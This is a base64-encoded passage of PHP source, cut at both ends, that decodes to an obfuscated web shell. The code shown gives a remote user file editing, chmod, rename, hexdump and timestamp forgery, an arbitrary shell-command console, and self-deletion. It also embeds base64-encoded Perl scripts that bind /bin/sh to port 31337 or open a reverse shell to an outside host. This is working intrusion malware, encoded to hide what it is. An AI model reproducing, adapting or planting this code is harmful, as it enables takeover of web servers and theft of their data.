AgICAgY2FzZSAnaGlnaGxpZ2h0JzoKICAgICAgICAgICAgaWYgKEBpc19yZWFkYWJsZSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7CiAgICAgICAgICAgICAgICAkeGFudWRmayA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ2xzZGVlJ10sIHRydWUpOwogICAgICAgICAgICAgICAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywgJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsICc8L2ZvbnQ+JyksICR4YW51ZGZrKSAuICc8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NobW9kJzoKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2t2dWVkJ10pKSB7CiAgICAgICAgICAgICAgICAkcHR5Y2R6eHlxID0gMDsKICAgICAgICAgICAgICAgIGZvciAoJGplZHByd3ZhZWYgPSBzdHJsZW4oJF9QT1NUWydrdnVlZCddKSAtIDE7ICRqZWRwcnd2YWVmID49IDA7IC0tJGplZHByd3ZhZWYpIHsKICAgICAgICAgICAgICAgICAgICAkcHR5Y2R6eHlxICs9IChpbnQpJF9QT1NUWydrdnVlZCddWyRqZWRwcnd2YWVmXSAqIHBvdyg4LCAoc3RybGVuKCRfUE9TVFsna3Z1ZWQnXSkgLSAkamVkcHJ3dmFlZiAtIDEpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghQGNobW9kKCRfUE9TVFsnbHNkZWUnXSwgJHB0eWNkenh5cSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50LnFodi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydsc2RlZSddKSAuICdcJyxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJyAuIHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ2xzZGVlJ10pKSwgLTQpIC4gJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2VkaXQnOgogICAgICAgICAgICBpZiAoIWlzX3dyaXRhYmxlKCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsna3Z1ZWQnXSkpIHsKICAgICAgICAgICAgICAgICR4dXpnbHVya29wc2ggPSBAZmlsZW10aW1lKCRfUE9TVFsnbHNkZWUnXSk7CiAgICAgICAgICAgICAgICAkX1BPU1RbJ2t2dWVkJ10gPSBzdWJzdHIoJF9QT1NUWydrdnVlZCddLCAxKTsKICAgICAgICAgICAgICAgICRpd3Vqcm5wcnR1bCA9IEBmb3BlbigkX1BPU1RbJ2xzZGVlJ10sICJ3Iik7CiAgICAgICAgICAgICAgICBpZiAoJGl3dWpybnBydHVsKSB7CiAgICAgICAgICAgICAgICAgICAgQGZ3cml0ZSgkaXd1anJucHJ0dWwsICRfUE9TVFsna3Z1ZWQnXSk7CiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaXd1anJucHJ0dWwpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgICAgIEB0b3VjaCgkX1BPU1RbJ2xzZGVlJ10sICR4dXpnbHVya29wc2gsICR4dXpnbHVya29wc2gpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydsc2RlZSddKSAuICdcJyxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7CiAgICAgICAgICAgICRpd3Vqcm5wcnR1bCA9IEBmb3BlbigkX1BPU1RbJ2xzZGVlJ10sICdyJyk7CiAgICAgICAgICAgIGlmICgkaXd1anJucHJ0dWwpIHsKICAgICAgICAgICAgICAgIHdoaWxlICghQGZlb2YoJGl3dWpybnBydHVsKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGl3dWpybnBydHVsLCAxMDI0KSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRpd3Vqcm5wcnR1bCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGV4ZHVtcCc6CiAgICAgICAgICAgICRxb3dkZWdmbXYgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydsc2RlZSddKTsKICAgICAgICAgICAgJHZ6bGFpbm90ID0gMDsKICAgICAgICAgICAgJHZta3B1ZWxwcWcgPSBhcnJheSgnMDAwMDAwMDA8YnI+JywgJycsICcnKTsKICAgICAgICAgICAgJGxieWxiZWZ5YW8gPSBzdHJsZW4oJHFvd2RlZ2Ztdik7CiAgICAgICAgICAgIGZvciAoJGplZHByd3ZhZWYgPSAwOyAkamVkcHJ3dmFlZiA8ICRsYnlsYmVmeWFvOyArKyRqZWRwcnd2YWVmKSB7CiAgICAgICAgICAgICAgICAkdm1rcHVlbHBxZ1sxXSAuPSBzcHJpbnRmKCclMDJYJywgb3JkKCRxb3dkZWdmbXZbJGplZHByd3ZhZWZdKSkgLiAnICc7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKG9yZCgkcW93ZGVnZm12WyRqZWRwcnd2YWVmXSkpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlIDA6CiAgICAgICAgICAgICAgICAgICAgICAgICR2bWtwdWVscHFnWzJdIC49ICcgJzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA5OgogICAgICAgICAgICAgICAgICAgICAgICAkdm1rcHVlbHBxZ1syXSAuPSAnICc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMTA6CiAgICAgICAgICAgICAgICAgICAgICAgICR2bWtwdWVscHFnWzJdIC49ICcgJzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMzoKICAgICAgICAgICAgICAgICAgICAgICAgJHZta3B1ZWxwcWdbMl0gLj0gJyAnOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICAgICAkdm1rcHVlbHBxZ1syXSAuPSAkcW93ZGVnZm12WyRqZWRwcnd2YWVmXTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdnpsYWlub3QrKzsKICAgICAgICAgICAgICAgIGlmICgkdnpsYWlub3QgPT0gMzIpIHsKICAgICAgICAgICAgICAgICAgICAkdnpsYWlub3QgPSAwOwogICAgICAgICAgICAgICAgICAgIGlmICgkamVkcHJ3dmFlZiArIDEgPCAkbGJ5bGJlZnlhbykgewogICAgICAgICAgICAgICAgICAgICAgICAkdm1rcHVlbHBxZ1swXSAuPSBzcHJpbnRmKCclMDhYJywgJGplZHByd3ZhZWYgKyAxKSAuICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHZta3B1ZWxwcWdbMV0gLj0gJzxicj4nOwogICAgICAgICAgICAgICAgICAgICR2bWtwdWVscHFnWzJdIC49ICJcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicgLiAkdm1rcHVlbHBxZ1swXSAuICc8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+JyAuICR2bWtwdWVscHFnWzFdIC4gJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicgLiBodG1sc3BlY2lhbGNoYXJzKCR2bWtwdWVscHFnWzJdKSAuICc8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdyZW5hbWUnOgogICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsna3Z1ZWQnXSkpIHsKICAgICAgICAgICAgICAgIGlmICghQHJlbmFtZSgkX1BPU1RbJ2xzZGVlJ10sICRfUE9TVFsna3Z1ZWQnXSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicgLiB1cmxlbmNvZGUoJF9QT1NUWydrdnVlZCddKSAuICciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ2xzZGVlJ10pIC4gJ1wnLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsc2RlZSddKSAuICciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd0b3VjaCc6CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydrdnVlZCddKSkgewogICAgICAgICAgICAgICAgJHh1emdsdXJrb3BzaCA9IHN0cnRvdGltZSgkX1BPU1RbJ2t2dWVkJ10pOwogICAgICAgICAgICAgICAgaWYgKCR4dXpnbHVya29wc2gpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIXRvdWNoKCRfUE9TVFsnbHNkZWUnXSwgJHh1emdsdXJrb3BzaCwgJHh1emdsdXJrb3BzaCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnRmFpbCEnOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ1RvdWNoZWQhJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydsc2RlZSddKSAuICdcJyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJyAuIGRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ2xzZGVlJ10pKSAuICciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgewogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pICYmICFlbXB0eSgkX1BPU1RbJ2R4eHhyZCddKSkgewogICAgICAgIHJwbGx3dXd6KG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ3N0ZGVycl90b19vdXQnLCB0cnVlKTsKICAgICAgICAkX1BPU1RbJ2xzZGVlJ10gLj0gJyAyPiYxJzsKICAgIH0gZWxzZWlmICghZW1wdHkoJF9QT1NUWydsc2RlZSddKSkgewogICAgICAgIHJwbGx3dXd6KG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ3N0ZGVycl90b19vdXQnLCAwKTsKICAgIH0KCiAgICBpZiAoaXNzZXQoJF9QT1NUWydsdG5tYSddKSkgewogICAgICAgIHJwbGx3dXd6KG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCB0cnVlKTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsKICAgICAgICAkam90bGZhY3NxZ3UgPSBAaWNvbnYoJF9QT1NUWydzZnRyJ10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIiAuICRfUE9TVFsnbHNkZWUnXSAuICJcbiIgLiBmZHB1dmt3eSgkX1BPU1RbJ2xzZGVlJ10pLCAiXG5cclx0XFwnXDAiKSk7CiAgICAgICAgaWYgKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwgJF9QT1NUWydsc2RlZSddLCAkc3VvZm5hc2opKSB7CiAgICAgICAgICAgIGlmIChAY2hkaXIoJHN1b2ZuYXNqWzFdKSkgewogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10gPSBAZ2V0Y3dkKCk7CiAgICAgICAgICAgICAgICBlY2hvICJjXz0nIiAuICRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddIC4gIic7IjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlY2hvICJkLmNmLm91dHB1dC52YWx1ZSs9JyIgLiAkam90bGZhY3NxZ3UgLiAiJzsiOwogICAgICAgIGVjaG8gImQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOwogICAgICAgICRqb3RsZmFjc3FndSA9IG9iX2dldF9jbGVhbigpOwogICAgICAgIGVjaG8gc3RybGVuKCRqb3RsZmFjc3FndSksICJcbiIsICRqb3RsZmFjc3FndTsKICAgICAgICBleGl0OwogICAgfQogICAgaWYgKGVtcHR5KCRfUE9TVFsnbHRubWEnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICBycGxsd3V3eihtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4JywgMCk7CiAgICB9CiAgICBxZW12aygpOwogICAgZWNobyAiPHNjcmlwdD4KICAgIGlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7CiAgICB2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7CiAgICB2YXIgY3VyID0gMDsKICAgIGZ1bmN0aW9uIGtwKGUpIHsKICAgICAgICB2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsKICAgICAgICBpZihuID09IDM4KSB7CiAgICAgICAgICAgIGN1ci0tOwogICAgICAgICAgICBpZihjdXI+PTApCiAgICAgICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGN1cisrOwogICAgICAgIH0gZWxzZSBpZihuID09IDQwKSB7CiAgICAgICAgICAgIGN1cisrOwogICAgICAgICAgICBpZihjdXIgPCBjbWRzLmxlbmd0aCkKICAgICAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgY3VyLS07CiAgICAgICAgfQogICAgfQogICAgZnVuY3Rpb24gYWRkKGNtZCkgewogICAgICAgIGNtZHMucG9wKCk7CiAgICAgICAgY21kcy5wdXNoKGNtZCk7CiAgICAgICAgY21kcy5wdXNoKCcnKTsKICAgICAgICBjdXIgPSBjbWRzLmxlbmd0aC0xOwogICAgfQo8L3NjcmlwdD4iOwogICAgZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOwogICAgZm9yZWFjaCAoJEdMT0JBTFNbJ2xpZmVieiddIGFzICR2emxhaW5vdCA9PiAkZWdjb3JldCkgewogICAgICAgIGlmICgkZWdjb3JldCA9PSAnJykgewogICAgICAgICAgICBlY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nIC4gaHRtbHNwZWNpYWxjaGFycygkdnpsYWlub3QpIC4gJy0iPjwvb3B0Z3JvdXA+JzsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicgLiBodG1sc3BlY2lhbGNoYXJzKCRlZ2NvcmV0KSAuICciPicgLiAkdnpsYWlub3QgLiAnPC9vcHRpb24+JzsKICAgIH0KCiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMudmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9Ij4+Ij4gPG5vYnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJyAuIChAJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID8gJ2NoZWNrZWQnIDogJycpIC4gJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnIC4gKCFlbXB0eSgkX1BPU1RbJ2R4eHhyZCddKSB8fCAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdzdGRlcnJfdG9fb3V0J10gPyAnY2hlY2tlZCcgOiAnJykgLiAnPiByZWRpcmVjdCBzdGRlcnIgdG8gc3Rkb3V0ICgyPiYxKTwvbm9icj48YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luOjA7IiByZWFkb25seT4nOwogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIgLiAkX1BPU1RbJ2xzZGVlJ10gLiAiXG4iIC4gZmRwdXZrd3koJF9QT1NUWydsc2RlZSddKSk7CiAgICB9CiAgICBlY2hvICc8L3RleHRhcmVhPjx0YWJsZSBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjZGY1O2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXItdG9wOjBweDsiIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPjwvdGQ+PC90cj48L3RhYmxlPic7CiAgICBlY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7CiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7CiAgICBzZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICcnLCB0aW1lKCkgLSAzNjAwKTsKICAgIGRpZSgnYnllIScpOwp9CgpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgewoKICAgIGlmICgkX1BPU1RbJ2xzZGVlJ10gPT0gJ3llcycpIHsKICAgICAgICBpZiAoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkgewogICAgICAgICAgICBkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICd1bmxpbmsgZXJyb3IhJzsKICAgICAgICB9CiAgICB9CiAgICBpZiAoJF9QT1NUWydsc2RlZSddICE9ICd5ZXMnKSB7CiAgICAgICAgcWVtdmsoKTsKICAgIH0KICAgIGVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsKICAgIGp6d2R6KCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7CiAgICBxZW12aygpOwogICAgJHVldWVzdmMgPSAiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOwogICAgJHZwaWhvdnJoID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7CiAgICBlY2hvICI8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPgogICAgPHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2ggW3BlcmxdPC9zcGFuPjxici8+CiAgICBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+CiAgICA8L2Zvcm0+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PVwiZyhudWxsLG51bGwsJ2JjcCcsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+CiAgICA8c3Bhbj5CYWNrLWNvbm5lY3QgIFtwZXJsXTwvc3Bhbj48YnIvPgogICAgU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4KICAgIDwvZm9ybT48YnI+IjsKICAgIGlmIChpc3NldCgkX1BPU1RbJ2xzZGVlJ10pKSB7CgogICAgICAgIGZ1bmN0aW9uIHJzeHBuYigkZXpucmlweCwgJHlwZnpzYnJ2YmIpIHsKICAgICAgICAgICAgJGlta3lodyA9IEBmb3BlbigkZXpucmlweCwgInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOwogICAgICAgICAgICBpZiAoJGlta3lodykgewogICAgICAgICAgICAgICAgQGZ3cml0ZSg